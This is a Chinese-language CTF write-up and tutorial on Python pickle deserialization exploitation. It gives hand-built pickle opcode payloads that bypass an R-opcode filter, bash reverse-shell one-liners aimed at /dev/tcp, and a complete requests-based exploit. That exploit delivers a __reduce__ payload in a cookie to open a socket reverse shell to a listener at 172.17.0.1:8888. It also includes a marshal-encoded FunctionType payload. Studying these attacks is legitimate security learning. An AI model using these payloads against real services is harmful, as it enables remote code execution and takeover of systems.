 pic='{0}.jpg'.format(random.randint(1,7))
 with open(pic, 'rb') as f:
 base64_data = base64.b64encode(f.read())
 p = base64_data.decode()

 return render_template('index.html', uname=username, pic=p )


if __name__ == "__main__":
 app.run('0.0.0.0',port=5000)

序列化字符串中不能存在 R，而 reduce 就是用到了R指令，不过也毫不意外，毕竟题目提示的就是要手写 opcode，在不使用 R 指令的情况下执行命令

bash -c "bash -i >& /dev/tcp/ip/port 0>&1"

http://www.jackson-t.ca/runtime-exec-payloads.html//编码网站

bash -c {echo,base64==}|{base64,-d}|{bash,-i}

RCE demo:

b'''cos
system
(S'whoami'
tR.'''

b'''(S'whoami'
ios
system
.'''

b'''(cos
system
S'whoami'
o.'''

选一个没有b’R’的

exp:

import base64
import pickletools

a = b'''(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
ios
system
.'''

a = pickletools.optimize(a)
print(base64.b64encode(a))

无过滤

#!/usr/bin/env python3
import requests
import pickle
import os
import base64


class exp(object):
 def __reduce__(self):
 s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
 return (os.system, (s,))


e = exp()
s = pickle.dumps(e)

response = requests.get("http://172.19.0.2:8000/", cookies=dict(
 user=base64.b64encode(s).decode()
))

print(response.content)

草草草我怎么这么菜？？？？？我居然找不到opcode的，，呜呜呜我连百度都不会

Python 的序列化和反序列化是什么

Python 的序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输，然后使用的时候再将字节流转化回原始的对象的一个过程。

import pickle
class People(object):
 def __init__(self,name = "K0rz3n"):
 self.name = name

 def say(self):
 print ("Hello ! My friends")

a=People()
c=pickle.dumps(a)
print (c)

#output:b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06People\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x06K0rz3n\x94sb.'
import pickle
class People(object):
 def __init__(self,name = "K0rz3n"):
 self.name = name

 def say(self):
 print ("Hello ! My friends")

a=People()
c=pickle.dumps(a)
d = pickle.loads(c)
print(type(d))
d.say()
# 可以看到，我们成功通过反序列化的方式恢复了之前我们序列化进去的类对象并成功的执行了对象的方法
# output:<class '__main__.People'>
# Hello ! My friends
import pickle
class People(object):
 def __init__(self,name = "K0rz3n"):
 self.name = name

 def say(self):
 print ("Hello ! My friends")

a=People()
c=pickle.dumps(a)
del People
d = pickle.loads(c)
# 如果我在反序列化以前删除了 People
# 这个类，那么我们在反序列化的过程中因为对象在当前的运行环境中没有找到这个类就会报错，从而反序列化失败。
# nootput,die

为什么要实现序列化和反序列化

和其他语言的序列化一样，Python 的序列化的目的也是为了保存、传递和恢复对象的方便性，在众多传递对象的方式中，序列化和反序列化可以说是最简单和最容易试下的方式

python 是怎么实现序列化和反序列化的

1.几个重要的函数

库 pickle 和 cPickle 后者更快

序列化：

pickle.dump(文件) 
pickle.dumps(字符串)

反序列化:

pickle.load(文件)
pickle.loads(字符串)

PVM(python 虚拟机)是实现 Python 序列化和反序列化的最根本的东西

2.PVM 的组成

PVM 由三个部分组成，引擎（或者叫指令分析器），栈区、还有一个 Memo (作者也不知道怎么解释，我们姑且叫它 “标签区“)

1.引擎的作用

从头开始读取流中的操作码和参数，并对其进行处理,zai在这个过程中改变栈区和标签区，处理结束后到达栈顶，形成并返回反序列化的对象

2.栈区的作用

作为流数据处理过程中的暂存区，在不断的进出栈过程中完成对数据流的反序列化，并最终在栈上生成发序列化的结果

3.标签区的作用

数据的一个索引或者标记

3.PVM 操作码

图挂了草草草

这里面要重点关注几个

S : 后面跟的是字符串 ( ：作为命令执行到哪里的一个标记 t ：将从 t 到标记的全部元素组合成一个元祖，然后放入栈中 c ：定义模块名和类名（模块名和类名之间使用回车分隔） R ：从栈中取出可调用函数以及元祖形式的参数来执行，并把结果放回栈中 . ：点号是结束符

4.反序列化流程

序列化就是一个将对象转化成字符串的过程

我们将下面这个字符串存储为一个文件 shell.pickle

cos
system
(S'/bin/sh'
tR.

当我们使用下面这个函数对其进行加载的时候

>>> import pickle
>>> pickle.load(open('shell.pickle'))

# 这边失败了报了个typeerror 给的不是字节编码解析成str了

解释如何执行

(1)c 后面是模块名，换行后是类名,于是将 os.system 放入栈中
(2)( 这个是标记符，我们将一个 Mark 放入栈中
(3)S 后面是字符串，我们放入栈中
(4)t 将栈中 Mark 之前的内容取出来转化成元祖，再存入栈中 （’/bin/sh’,），同时标记 Mark 消失
(5)R 将元祖取出，并将 callable 取出，然后将元祖作为 callable 的参数，并执行，对应这里就是 os.system(‘/bin/sh’),然后将结果再存入栈中

与 PHP 反序列化的对比

Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外，还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象（这部分内容在后面会有所介绍），这样的话就大大拓宽了我们的攻击面。

Python 反序列化漏洞何来

我们怎么利用反序列化漏洞

1.理论基础

__reduce__ 这个魔法方法

当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类)的时候，可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化

只要在新式类中定义一个 __reduce__ 方法，我们就能在序列化的使用让这个类根据我们在__reduce__ 中指定的方式进行序列化

关键就在这个方法的返回值上，这个方法可以返回两种类型的值，String 和 tuple ,我们的构造点就在令其返回 tuple 的时候

当他返回值是一个元祖的时候，可以提供2到5个参数，我们重点利用的是前两个，第一个参数是一个callable object(可调用的对象)，第二个参数可以是一个元祖为这个可调用对象提供必要的参数，如果你认真看上面的 PVM 的指令码，你就会发现这个返回值和其中的一个 R 指令非常的一致，（我猜测这个 R 指令码就是这个 __reduce__ 方法的返回值的底层实现）所以这过滤R就不能用reduce了

import pickle
import os
class A(object):
 def __reduce__(self):
 a = 'ping 127.0.0.1'
 return (os.system,(a,))
a = A()
test = pickle.dumps(a)
pickle.loads(test)

# output:执行的命令

一个比较好的命令能执行系统命令，那就是 python pty 模块

reduce 是利用调用某个 callable 并传递参数来执行的，而我们这个函数本身就是一个 callable

这时候就要利用我们上面分析的那个 PVM 操作码来自己构造了

这里也用到了 Python 的一个面向对象的特性，Python 能通过 types.FunctionTyle(func_code,globals(),’’)() 来动态地创建匿名函数，这一部分的内容可以看官方文档的介绍

这里直接给出 payload

这是什么鬼。。。。？？？？

ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMHAAAAcGljNC5weVIBAAAABwAAAHMGAAAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMHAAAAcGljNC5weXQDAAAAZm9vBQAAAHMIAAAAAAEMAQ8EDwE='
tRtRc__builtin__
globals
(tRS''
tR(tR.